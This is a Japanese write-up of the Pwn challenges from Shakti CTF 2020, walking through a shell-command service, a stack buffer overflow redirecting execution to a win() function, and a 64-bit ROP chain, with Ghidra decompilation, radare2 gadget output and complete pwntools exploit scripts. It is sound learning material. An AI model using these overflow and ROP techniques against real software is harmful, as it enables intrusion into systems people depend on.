2020年12月3の21:30 - 12月4日21:30 で行われていた、Shakti CTF 2020の [Pwn] 分野のwriteupです。
※ まとめはこちら tech.kusuwada.com
Connect [Very Easy]
Your adventure begins here to help the renowned Computer Scientist Kathleen Booth to get across the challenges and win the race. Cross the gates and enter into the arena!
Connect via nc 34.72.218.129 1111
Author : b3y0nd3r
chall
という実行ファイルが配布されたけど、無視してとにかくつないで見る。
$ nc 34.72.218.129 1111 You have successfully connected to our service! To get your flag, please enter the appropriate bash commands.
これはコマンドがそのまま効くやつっぽい。
ls chall flag.txt run.sh cat flag.txt shaktictf{w3lc0me_t0_th3_ar3na_c0mrade}
ファイルを一覧して、怪しいファイルを表示するだけ。
Returning [Very Easy]
Kathleen is faced with a very naive looking code which keeps all you secrets and never lets anyone know. Try figuring out lies here!
Connect via nc 34.72.218.129 2222
Author : rudy
実行ファイルchall
が配布されます。
very easyなので何も見ずにつなぎに生きます。
$ nc 34.72.218.129 2222 Welcome! A lonely mute program is all I am... Would you like to talk to me? (y/n) y Say something... test
これで3回ほど話しかけると、
xx Any bidding words?
と今まで入力した文字列とともに聞かれて、次に答えたら終了。
ここで競技時間は終了。
なんかこの時VMが立ち上がらなくなっちゃってたんだよね。もったいない。
radare2で関数一覧を見てみると
[0x004007b0]> afl ... 0x00400921 3 102 sym.win 0x00400987 5 274 main ...
おや、win関数がいる。
| 0x0040092e bf2a0b4000 mov edi, str.flag.txt ; 0x400b2a ; "flag.txt"
こんな命令もあるから、flag.txt
を出力してくれるみたい。
buffure overflowさせて、mainのreturnをwinのアドレスで上書きできれば良さそう。
Team-shaktiによるwriteupを見てみると、コードを見ながら解説している。他のpwn問コード添付なし問題も、最初にdisassmeblyしたコードを出すと理解が早そう。今度からやってみよう。
ghidraに食わせたdecompileコード (main)
void main(void) { int iVar1; char local_18 [16]; initialize(); puts("\nWelcome! A lonely mute program is all I am..."); puts("\nWould you like to talk to me? (y/n)"); __isoc99_scanf(&DAT_00400b95,0x6010c1); while ((ch._1_1_ == 'y' && (count < 2))) { puts("Say something..."); getchar(); read(0,buffer1,0x14); iVar1 = snprintf(local_18,1,"%s",buffer1); pos = pos + iVar1; puts("\nWould you like to continue talking to me? (y/n)"); __isoc99_scanf(&DAT_00400b95,0x6010c1); count = count + 1; } printf("%d Any bidding words?\n",(ulong)pos); getchar(); read(0,local_18,(long)(int)pos); return; }
ghidraのメモリマップより、buffer1
のサイズは20。
read(0,buffer1,0x14)
20文字読んで
iVar1 = snprintf(local_18,1,"%s",buffer1);
local_18
に格納。これを2回繰り返したあとはループを抜けて
read(0,local_18,(long)(int)pos)
local_18
にpos
文字読んで格納してreturn。
snprintf
の戻り値は書き込んだ文字数なので、ループの中で書き込んだ文字数の合計が最後のposになる。
ここで、バイナリの実行結果(最後のpos表示)と上の挙動に食い違いあるように思ったので、動作検証とコードを読み直してみた。
検証内容:
1st input length | 2nd input length | 1st + 2nd | last pos | note |
---|---|---|---|---|
3 | 3 | 6 | 8 | OK |
15 | 15 | 30 | 32 | OK |
1 | 2 | 3 | 5 | OK |
2 | 5 | 7 | 9 | OK |
10 | 3 | 13 | 22 | NG |
5 | 2 | 7 | 12 | NG |
※input lengthには改行を含んでいないので、1st,2ndの改行分を含めて 1st + 2nd + 2
がlast posの期待値。
1stの長さほうが2ndの長さより大きい場合、2ndのときも1stのときの長さが維持されているっぽい。これは入力を受けるbuffer1をクリアしていないからかな。ということで、そこは気をつけたほうが良さそう。
最後の2つのNGは
- 10+10=20, 20+2=22 OK
- 5+5=10, 10+2=12 OK
となる。
これでposに何の値が入るのかの動作検証ができた。
[0x004007b0]> s main [0x00400987]> pdf / (fcn) main 274 | main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10
この rbp-0x10 の領域に入力値が格納される。
ので、mainへのreturnのところまで埋め尽くそうと思うと、bufferは 0x10 + 8 = 24d
。
最後の "Any bidding words?" の段階で、posの値が24 + 8 = 32
以上になっている必要があるので、それまでにposが32以上になるように調節してあげると良さそう。
これらをコードにすると
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * #host = '34.72.218.129' #port = 2222 win_addr = 0x00400921 buffer = 0x10 + 8 e = ELF('./chall_ret') def normal(r, pos): r.recvuntil(b"me? (y/n)\n") r.sendline(b'y') r.recvuntil(b"Say something...\n") r.sendline(b't'*(pos-1)) return def send_attack(r, payload): r.recvuntil(b"me? (y/n)\n") r.sendline(b'y') r.recvuntil(b"Any bidding words?\n") r.sendline(payload) res = r.recvall() print(res) #r = remote(host, port) r = process('./chall_ret') normal(r, 16) normal(r, 16) payload = b'a'*buffer + p64(win_addr) print('payload_len: ' + str(len(payload))) send_attack(r,payload)
実行結果
$ python solve.py (omit) Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 3295 payload_len: 32 [+] Receiving all data: Done (26B) [*] Process './chall' stopped with exit code 0 (pid 3295) b'flag{it_is_a_local_flag}\n\n'
localに用意しておいたflag.txt
が表示されました👍
Adventure Chain [Easy]
Kathleen is on her next adventure, which marked her name in history of Computer Science forever. Looks like the pieces of her ARC code seem to be brewing something notorious. Follow the chains which might lead you to a hideous place where you can claim your mastery and discover the unintended invention.
Connect via nc 34.72.218.129 4444
Author : b3y0nd3r
またchall
実行ファイルが配布される。
今度は問題文からして rop chain とかを組む必要がありそう。
この問題も、kali起動しない問題により手つかずでした。もったいない。
localで動かしてみます。
$ ./chall Choose an action 1. set name 2. give access >> 1 Enter your name: kusuwada
名前を入れたらそのまま終了。
$ ./chall Choose an action 1. set name 2. give access >> 2 Access granted (just kidding)
ひどい。
ghidraに突っ込んでdeassembleしてもらいます。
undefined8 main(void) { int local_2c; undefined local_28 [32]; initialize(); puts("Choose an action"); puts("1. set name"); puts("2. give access"); printf(">> "); __isoc99_scanf(&DAT_00400b44,&local_2c); if (local_2c == 1) { puts("Enter your name:"); read(0,local_28,200); } else { if (local_2c == 2) { puts("Access granted (just kidding)"); } else { printf("Invalid choice"); } } return 0; } undefined8 flag(int param_1,int param_2) { undefined local_3f8 [1000]; FILE *local_10; if ((((password == 0x1337) && (admin_val == -0x35014542)) && (param_1 == -0x21523f22)) && (param_2 == -0x2152ef34)) { puts("Mischief managed..."); local_10 = fopen("flag.txt","r"); if (local_10 == (FILE *)0x0) { printf("Error! opening file"); /* WARNING: Subroutine does not return */ exit(1); } __isoc99_fscanf(local_10,"%[^\n]",local_3f8); printf("Here is your flag:\n%s\n",local_3f8); fclose(local_10); /* WARNING: Subroutine does not return */ exit(0); } puts("Oops"); return 0; }
主要そうなのはmain関数とflag関数。
just kiddingは本当に何もしてくれないみたい。
puts("Enter your name:"); read(0,local_28,200);
ここでbuffer overflowさせて、先程の問題同様、flag関数を呼び出す。
ただし、flag関数で色々チェック項目があるので、その前にこの条件を満たす必要がある。
passwordとadmin_valに適切な値をセットし、あとはflag関数のparam1,param2に適切に値を積んで呼べばOK。
undefined8 assert(void) { password = 0x1337; return 0; } undefined8 setValue(int param_1) { if ((password == 0x1337) && (param_1 == -0x21524111)) { admin_val = 0xcafebabe; } else { puts("Oops no :("); } return 0; }
assert
関数からpassword
が、setVaule
関数からadmin_val
が設定できそう。この2つの関数ををflagより先に順番に呼ぶ。
ちなみに、ghidraのdecompile結果でマイナスの値になってしまっている値は、それぞれ下記と同等。
flag関数のparam1 -> 0xdeadc0de flag関数のparam2 -> 0xdead10cc setValueのparam1 -> 0xdeadbeef
64bitのrop問題は、ついこの前waniCTF2020 [Pwn] rop func callでやりました。この辺をなぞりつつやってみます。
まずは、rop gadgetを探します。radare2で対象バイナリを解析し、
$ r2 chall [0x004006f0]> aaaa ...(omit)... [0x004006f0]> /R pop ...(omit)... 0x00400a91 5e pop rsi 0x00400a92 415f pop r15 0x00400a94 c3 ret 0x00400a93 5f pop rdi 0x00400a94 c3 ret
この2つが使えそう。
buffer overflowに使う変数をradare2で確認します。
[0x004006f0]> s main [0x00400970]> pdf / (fcn) main 185 | main (int argc, char **argv, char **envp); | ; var int local_24h @ rbp-0x24 | ; var int local_20h @ rbp-0x20
名前を格納するほうが local_20h @ rbp-0x20
。なので、mainのreturnアドレスは0x20 + 8
。
あとは順番に引数をregisterに登録しながら関数を呼び出すのみ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * pop_rdi_addr = 0x00400a93 pop_rsi_r15_addr = 0x00400a91 assert_addr = 0x004007d7 setvalue_addr = 0x004007ec flag_addr = 0x0040082c password = 0x1337 admin = 0xcafebabe setValue_param1 = 0xdeadbeef flag_param1 = 0xdeadc0de flag_param2 = 0xdead10cc buffer = 0x20 + 8 e = ELF('./chall') payload = b'a'*buffer payload += p64(assert_addr) payload += p64(pop_rdi_addr) payload += p64(setValue_param1) payload += p64(setvalue_addr) payload += p64(pop_rdi_addr) payload += p64(flag_param1) payload += p64(pop_rsi_r15_addr) payload += p64(flag_param2) payload += b'a'*8 payload += p64(flag_addr) r = process('./chall') print(r.recvuntil(b">> ")) r.sendline(b'1') print(r.recvuntil(b"Enter your name:\n")) r.sendline(payload) res = r.recvall() print(res)
実行結果
$ python solve.py ...(omit)... Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 4117 b'Choose an action\n1. set name\n2. give access\n>> ' b'Enter your name:\n' [+] Receiving all data: Done (64B) [*] Process './chall' stopped with exit code 0 (pid 4117) b'Mischief managed...\nHere is your flag:\nflag{it_is_a_local_flag}\n'
localに置いておいたflag.txt
が表示されました🙌
感想
なんと1問、めっちゃ簡単なのしか解いてなかった…。どうしても時間がないと後回しと思って水に終わってしまうことが多いpwn問。復習して書き足すぞ!
-> 2021/2/6 復習して書き足した!
残念ながら、Pwnジャンルはあと2問 Compute Shell
と Reactor_GOT
というのがあったみたいなんだけど、問題の回収をすっかり忘れていて、復習叶わず、でした。Team-Shaktiのwriteupを見る限り、shellcodeとGOTのチャレンジだったみたい。
バイナリ回収しとけばよかったなぁ🥺